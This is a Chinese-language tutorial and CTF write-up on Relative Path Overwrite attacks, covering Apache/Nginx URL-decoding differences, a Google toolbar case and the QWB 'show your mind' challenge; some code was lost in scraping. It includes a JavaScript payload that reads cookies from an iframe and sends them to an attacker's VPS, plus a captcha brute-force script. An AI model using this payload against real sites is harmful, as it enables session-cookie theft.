RPO 相對路徑覆蓋攻擊

： 本文作者：mntn贈送書籍：《白帽子講 web 掃描》

RPO (Relative Path Overwrite) 相對路徑覆蓋，最早由 Gareth Heyes 在其發表的文章中提出。主要是利用瀏覽器的一些特性和部分服務端的配置差異導致的漏洞，通過一些技巧，我們可以通過引入相對路徑來引入其他資源文件，以達到我們的目的。

漏洞成因：

RPO 依賴於瀏覽器和網路伺服器的反應，基於伺服器的 Web 緩存技術和配置差異，以及伺服器和客戶端遊覽器的解析差異，利用前端代碼中載入的 css/js 的相對路徑來載入其他文件，最終瀏覽器將伺服器返回的不是 css/js 文件，而是當作 css/js 來解析，從而導致xss、信息泄露等漏洞產生。

Apache 伺服器和 Nginx 伺服器對 url 解析差異

Apache 伺服器對正常 url 的解析：

Nginx 伺服器對正常 url 的解析：

而將 url 中的 編碼為 之後，就會體現出 Apache 和 Nginx 的差異：

Apache 對編碼後的 url 的解析：

Nginx 對編碼後的 url 的解析：

可以看到，Apache 伺服器對編碼後的 url 不能正常解析，而 Nginx 卻可以正常解析。

但其實Apache 伺服器不能解析 是默認配置問題，可見：鏈接包含」%2F」導致mod_rewrite失效

載入相對路徑文件差異

在 Nginx 中，伺服器可以正常解析 url ，即伺服器在載入文件時會解碼後找到對應文件返回客戶端，但是在客戶端時不會對 url 進行解碼的

那麼伺服器在解碼 url 的時候會發生什麼有趣的事呢？

我們在 中使用相對路徑引入 文件

echo$_SERVER["SERVER_SOFTWARE"];

echo"";

echo"

"

?>

看看在編碼前後的 url 下有什麼差異：

編碼前，訪問的 css 路徑：

編碼後，訪問的 css 路徑：

可以看到，編碼前後訪問的 css 文件路徑改變，index.php 路徑沒有改變，由此可見伺服器在訪問相對路徑文件時的差異是以最後一個可用的 作為根目錄

這句話我看資料的時候一直不懂，自己復現的時候才明白。

由上所述，假如訪問的路徑為

那麼最後一個可用的 就是 index.php 前面的，那麼根目錄就是

相當於使用 命令回到上一級文件夾，在 RPO 文件夾下有 rpo、static 兩個文件夾，所以 index.php 是一個 rpo 文件，回到上一級是 RPO。

那麼很簡單了，url為

時，最後一個可用的 在 rpo 前面，那麼根目錄就是

引入的 css 文件就在

簡單利用

google 案例：

https://blog.innerht.ml/rpo-gadgets/

簡單複述如下：

作者找到了一個存在 RPO 攻擊可能性的頁面：

http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

頁面中存在如下語句引入相對路徑的 css 文件：

Google Toolbar API - Guide to Making Custom Buttons

[..]

作者研究了目標伺服器如何解釋路徑，發現瀏覽器以 分隔目錄，但是對於在路徑中使用斜杠的伺服器並不一定意味著有目錄。例如，JSP 接受路徑參數，該參數將分號後面的所有內容作為參數處理（例如 ），而瀏覽器無法識別此模式並認為它仍在路徑中並且有一個目錄。

同時，Google 的工具欄也有自己的解釋怪癖：

在發送請求給目標之前，會將請求進行處理並解碼所有路徑，但依舊不能正確處理 為 。

於是，作者利用 RPO 攻擊，引入了一個可控的頁面

http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q={}*

其中 q 是指定搜索項，並會將該參數反應在頁面上。

RPO 需要持續的注入，因為導入的樣式表不包含查詢字元串本身。但是由於路徑解碼的行為，我們能使用如下 payload 導入樣式：

css

利用瀏覽器特性，可以控制路徑來是其解析任何非 css 的文件為 css，從而產生漏洞，並且 css 語法沒有那麼嚴格，可以存在很多髒字元。

{}*{color:red;}

向上面的語句，即使有不符合 css 語法的地方，遊覽器也會忽略，繼續向下執行直到有合法的 css 代碼，所以我們引入的 css 文件可以有很多種寫的方式。

如果頁面中包括隱私數據和注入點的話我們可以用 CSS Magic 去偷取，使用條件:

1、注入點應該在隱私數據之前

2、注入點允許 %0a,%0c,%0d 等空白字元

3、隱私數據不包含段間歇

在 Google 的例子中就有如下 payload 用來獲取隱私數據：

payload:

其中 @import 是一種不常使用的，容易被前端開發忽視的方法。用來引入 css 文件，import 先於除了 @charset 外的其他 css 規則。

js

js 相比 css 語法就顯得嚴格多了，不能包含髒字元，所以寫 payload 的時候要注意些。不過可以通過 的方式執行 js 語句

如果是 html 語句的 payload，請使用 寫入 html dom 中

CTF 實戰利用

RPO 導致 XSS

題目來自第二屆強網杯 web 題目 show your mind，題目描述：

http://39.107.33.96:20000

Please help me find the vulnerability before I finish this site！

hint：xss bot 使用 phantomjs，版本 2.1.1

hint2 : xss 的點不在 report 頁面

在 Write article 頁面可以寫入任意內容，Overview 頁面查看當前賬戶的所有留言，發現無論輸入什麼語句都不會造成 xss，查看源碼發現

寫入新文章 ，點擊 view，在 url 後面加上 ，自動跳轉到初始頁面，此時彈窗

內容就是我們所輸入的

那麼引入js 的語句就相當於

在寫入新文章時，如果填寫了標題，就會引入html代碼，類似如下:

此時解析為js 時就會引起異常，核心點就在這裡，如何使網頁將我們的輸入解析成正確的js代碼？

所以解題思路出來了，利用 rpo 直接打 cookie，但是這裡是 js 文件，語法嚴格，而且對一些特殊字元進行了實體化處理，payload 採用上面提到的 方式

獲取根目錄的cookie：

ip 是自己的 vps ip 或著 xss 平台

將語句輸出寫入html 之中，然後繼續解析document.write 輸出的內容

將頁面通過 Report 頁面發給管理，後台自動點擊腳本訪問url，vps 獲取查看 cookie 即可得到提示 ，也就是需要獲取不同目錄下的 cookie，可以通過 iframe 標籤來載入，最後獲取 iframe 里的 cookie

檸檬爺爺的 payload：

vari=document.createElement("iframe");

i.setAttribute("src","/QWB_fl4g/QWB/");

document.body.appendChild(i);

i.addEventListener("load",function(){

varcontent=i.contentWindow.document.cookie;

location="//ip/"+btoa(content);

},false);

最後即可拿到 flag，Report 頁面需要提交一個 code ，用腳本跑一下就能得到，本身是限制腳本的自動化攻擊

error_reporting();

// 自行修改變數a 對應的值

$a="87d445";

for($i=1;$i

if(substr(md5($i),,6)==$a){

print($i);

exit();

}

}

echo"ok";

去年pwnhub 也有一道RPO 的題目，大家可以去看看firesun的wp，出題人自己的wp 用很巧妙的方式獲取了網頁源代碼

RPO 導致信息泄露

Web 伺服器欺騙請求:

當目標網站存在負載伺服器時，

訪問當前頁面下，事實上並不存在的 css 等靜態文件時，會在緩存伺服器中緩存下存在 用戶賬號密碼的靜態文件頁面，讓攻擊者可以直接訪問用戶賬號。

可用於緩存的文件後綴列表：

aif ，aiff，au，avi，bin，bmp，cab，carb，cct，cdf，class，css，doc，dcr，dtd，gcf，gff，gif，grv，hdml，hqx，ico，ini，jpeg，jpg， js，mov，mp3，nc，pct，ppc，pws，swa，swf，txt，vbs，w32，wav，wbmp，wml，wmlc，wmls，wmlsc，xsd，zip

reffer

https://xz.aliyun.com/t/2220http://www.cnblogs.com/iamstudy/articles/2th_qiangwangbei_ctf_writeup.htmlhttp://www.ideawu.net/blog/archives/494.html

喜歡這篇文章嗎？立刻分享出去讓更多人知道吧！